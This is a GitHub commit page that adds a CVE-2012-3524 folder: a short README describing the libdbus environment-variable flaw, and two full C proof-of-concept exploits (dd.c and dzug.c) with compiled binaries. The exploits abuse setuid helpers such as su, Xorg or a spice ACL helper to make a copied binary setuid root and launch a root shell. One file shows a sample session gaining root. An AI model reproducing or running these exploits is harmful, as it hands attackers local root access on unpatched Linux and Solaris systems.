Skip to content

Navigation Menu

Sign in
Appearance settings

Search code, repositories, users, issues, pull requests...

Provide feedback

We read every piece of feedback, and take your input very seriously.

Saved searches

Use saved searches to filter your results more quickly
Sign up
Appearance settings

Commit c7ba9eb

Browse files
linux-exp
1 parent 80ec5dd commit c7ba9eb

File tree

5 files changed

+253
-0
lines changed

5 files changed

+253
-0
lines changed

‎2012/CVE-2012-3524/README.md‎

Lines changed: 23 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,23 @@
1+
# CVE-2012-3524
2+
```
3+
libdbus 1.5.x and earlier,
4+
when used in setuid or other privileged programs in X.org and possibly other products,
5+
allows local users to gain privileges and execute arbitrary code via the DBUS_SYSTEM_BUS_ADDRESS environment variable.
6+
NOTE: libdbus maintainers state that this is a vulnerability in the applications that do not cleanse environment variables,
7+
not in libdbus itself: "we do not support use of libdbus in setuid binaries that do not sanitize their environment before their first call into libdbus."
8+
```
9+
10+
11+
Vulnerability reference:
12+
* [CVE-2012-3524](http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-3524)
13+
* [exp-db](https://www.exploit-db.com/exploits/21323/)
14+
15+
## libdbus
16+
```
17+
1.5.x and earlier
18+
```
19+
20+
21+
22+
23+

‎2012/CVE-2012-3524/dd‎

9.8 KB
Binary file not shown.

‎2012/CVE-2012-3524/dd.c‎

Lines changed: 115 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,115 @@
1+
/* CVE-2012-3524 PoC (C) 2012 Sebastian Krahmer
2+
*
3+
* edited by Pashkela for RDOT.ORG (23.01.2013)
4+
*
5+
* su auto vector (need tty + current user password)
6+
*
7+
* Trivial non-dbus root exploit. (Yes, it is 2012!)
8+
*
9+
* The underlying bug (insecure getenv() by default) has been
10+
* reported ages ago, but nobody really cared. Unless you have an
11+
* exploit...
12+
* ==============================================================
13+
* Ubuntu 9.04
14+
*
15+
* an@an-desktop:~$ uname -a
16+
* Linux an-desktop 2.6.28-11-generic #42-Ubuntu SMP Fri Apr 17 01:57:59 UTC 2009 i686 GNU/Linux
17+
* an@an-desktop:~$ gcc s.c -o s
18+
* an@an-desktop:~$ id
19+
* uid=1000(an) gid=1000(an) groups=4(adm),20(dialout),24(cdrom),46(plugdev),106(lpadmin),121(admin),122(sambashare),1000(an)
20+
* an@an-desktop:~$ ./s
21+
* [**] CVE-2012-3524 xSports -- this is not a dbus exploit!
22+
*
23+
*[*] Preparing ...
24+
*[+] Type current user passwd when asked
25+
*[*] Waiting 10s for dbus-launch to drop boomshell.
26+
* Password: .......
27+
* bash: [+] GOT root!: No such file or directory
28+
* ...
29+
* [!] Hurra!
30+
* bash-3.2# id
31+
* uid=0(root) gid=1000(an) groups=4(adm),20(dialout),24(cdrom),46(plugdev),106(lpadmin),121(admin),122(sambashare),1000(an)
32+
* bash-3.2#
33+
* ==============================================================
34+
*/
35+
36+
#include <stdio.h>
37+
#include <stdlib.h>
38+
#include <unistd.h>
39+
#include <errno.h>
40+
#include <string.h>
41+
#include <sys/types.h>
42+
#include <sys/wait.h>
43+
#include <sys/signal.h>
44+
#include <sys/stat.h>
45+
46+
47+
int main(int argc, char **argv)
48+
{
49+
int i = 0;
50+
struct stat st;
51+
pid_t pid = 0;
52+
char *env[] = {
53+
"PATH=/tmp:/usr/bin:/usr/sbin:/sbin:/bin",
54+
"DBUS_STARTER_BUS_TYPE=system",
55+
"DBUS_SYSTEM_BUS_ADDRESS=autolaunch:",
56+
NULL,
57+
NULL
58+
};
59+
60+
61+
char *su[] = {"/bin/su",NULL,"[+] GOT root!", NULL};
62+
63+
char **a = su;
64+
char *dbus[] = {"/tmp/dbus-launch", NULL};
65+
char *sh[] = {"/bin/bash", "--noprofile", "--norc", NULL};
66+
char me[0x1000];
67+
68+
if (geteuid() == 0 && argc > 1) {
69+
chown("/tmp/dbus-launch", 0, 0);
70+
chmod("/tmp/dbus-launch", 04755);
71+
exit(errno);
72+
} else if (geteuid() == 0) {
73+
setuid(0);
74+
execve(*sh, sh, NULL);
75+
return errno;
76+
}
77+
78+
printf("[**] CVE-2012-3524 xSports -- this is not a dbus exploit!\n\n[*] Preparing ...\n");
79+
memset(me, 0, sizeof(me));
80+
81+
if (readlink("/proc/self/exe", me, sizeof(me) - 1) < 0) {
82+
/* Solaris */
83+
readlink("/proc/self/path/a.out", me, sizeof(me) - 1);
84+
}
85+
symlink(me, "/tmp/dbus-launch");
86+
printf("[+] Type current user passwd when asked\n");
87+
env[3] = "DISPLAY=:7350";
88+
su[1] = getenv("USER");
89+
a = su;
90+
91+
if ((pid = fork()) == 0) {
92+
execve(*a, a, env);
93+
exit(0);
94+
}
95+
96+
printf("[*] Waiting 10s for dbus-launch to drop boomshell.\n");
97+
98+
for (i = 0; i < 10; ++i) {
99+
sleep(1);
100+
printf("."); fflush(stdout);
101+
}
102+
kill(pid, SIGKILL);
103+
waitpid(pid, NULL, 0);
104+
105+
for (;;) {
106+
stat(*dbus, &st);
107+
if ((st.st_mode & 04755) == 04755)
108+
break;
109+
sleep(1);
110+
}
111+
printf("\n[!] Hurra!\n");
112+
113+
execve(*dbus, dbus, NULL);
114+
return errno;
115+
}

‎2012/CVE-2012-3524/dzug‎

10.5 KB
Binary file not shown.

‎2012/CVE-2012-3524/dzug.c‎

Lines changed: 115 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,115 @@
1+
/* dzug.c CVE-2012-3524 PoC (C) 2012 Sebastian Krahmer
2+
*
3+
* Trivial non-dbus root exploit. (Yes, it is 2012!)
4+
*
5+
* The underlying bug (insecure getenv() by default) has been
6+
* reported ages ago, but nobody really cared. Unless you have an
7+
* exploit...
8+
*
9+
*/
10+
11+
#include <stdio.h>
12+
#include <stdlib.h>
13+
#include <unistd.h>
14+
#include <errno.h>
15+
#include <string.h>
16+
#include <sys/types.h>
17+
#include <sys/wait.h>
18+
#include <sys/signal.h>
19+
#include <sys/stat.h>
20+
21+
22+
int main(int argc, char **argv)
23+
{
24+
int i = 0;
25+
struct stat st;
26+
pid_t pid = 0;
27+
char *env[] = {
28+
"PATH=/tmp:/usr/bin:/usr/sbin:/sbin:/bin",
29+
"DBUS_STARTER_BUS_TYPE=system",
30+
"DBUS_SYSTEM_BUS_ADDRESS=autolaunch:",
31+
NULL,
32+
NULL
33+
};
34+
35+
36+
/* the pam_systemd vector */
37+
char *su[] = {"/bin/su", NULL, "blah", NULL};
38+
39+
/* the spice vector */
40+
char *spice[] = {"/usr/libexec/spice-gtk-x86_64/spice-client-glib-usb-acl-helper", NULL};
41+
42+
/* the Xorg vector, for older Linux dists and Solaris */
43+
char *xorg[] = {"/usr/bin/Xorg", ":7350", NULL};
44+
45+
char **a = xorg;
46+
char *dbus[] = {"/tmp/dbus-launch", NULL};
47+
char *sh[] = {"/bin/bash", "--noprofile", "--norc", NULL};
48+
char me[0x1000];
49+
50+
if (geteuid() == 0 && argc > 1) {
51+
chown("/tmp/dbus-launch", 0, 0);
52+
chmod("/tmp/dbus-launch", 04755);
53+
exit(errno);
54+
} else if (geteuid() == 0) {
55+
setuid(0);
56+
execve(*sh, sh, NULL);
57+
return errno;
58+
}
59+
60+
printf("[**] CVE-2012-3524 xSports -- this is not a dbus exploit!\n\n[*] Preparing ...\n");
61+
memset(me, 0, sizeof(me));
62+
63+
if (readlink("/proc/self/exe", me, sizeof(me) - 1) < 0) {
64+
/* Solaris */
65+
readlink("/proc/self/path/a.out", me, sizeof(me) - 1);
66+
}
67+
symlink(me, "/tmp/dbus-launch");
68+
69+
if (stat(spice[0], &st) == 0) {
70+
if ((st.st_mode & 04000) == 04000) {
71+
printf("[+] Using spice helper ...\n");
72+
a = spice;
73+
}
74+
} else if (stat("/lib64/security/pam_systemd.so", &st) == 0) {
75+
printf("[+] Using pam_systemd helper (type user passwd when asked) ...\n");
76+
env[3] = "DISPLAY=:7350";
77+
su[1] = getenv("USER");
78+
a = su;
79+
} else if (stat(xorg[0], &st) == 0) {
80+
if ((st.st_mode & 04000) == 04000)
81+
printf("[+] Using Xorg helper ...\n");
82+
else {
83+
printf("[-] No suitable suid helper found.\n");
84+
exit(0);
85+
}
86+
} else {
87+
printf("[-] No suitable suid helper found.\n");
88+
exit(0);
89+
}
90+
91+
if ((pid = fork()) == 0) {
92+
execve(*a, a, env);
93+
exit(0);
94+
}
95+
96+
printf("[*] Waiting 10s for dbus-launch to drop boomshell.\n");
97+
98+
for (i = 0; i < 10; ++i) {
99+
sleep(1);
100+
printf("."); fflush(stdout);
101+
}
102+
kill(pid, SIGKILL);
103+
waitpid(pid, NULL, 0);
104+
105+
for (;;) {
106+
stat(*dbus, &st);
107+
if ((st.st_mode & 04755) == 04755)
108+
break;
109+
sleep(1);
110+
}
111+
printf("\n[!] Hurra!\n");
112+
113+
execve(*dbus, dbus, NULL);
114+
return errno;
115+
}

0 commit comments

Comments
(0)

AltStyle によって変換されたページ (->オリジナル) /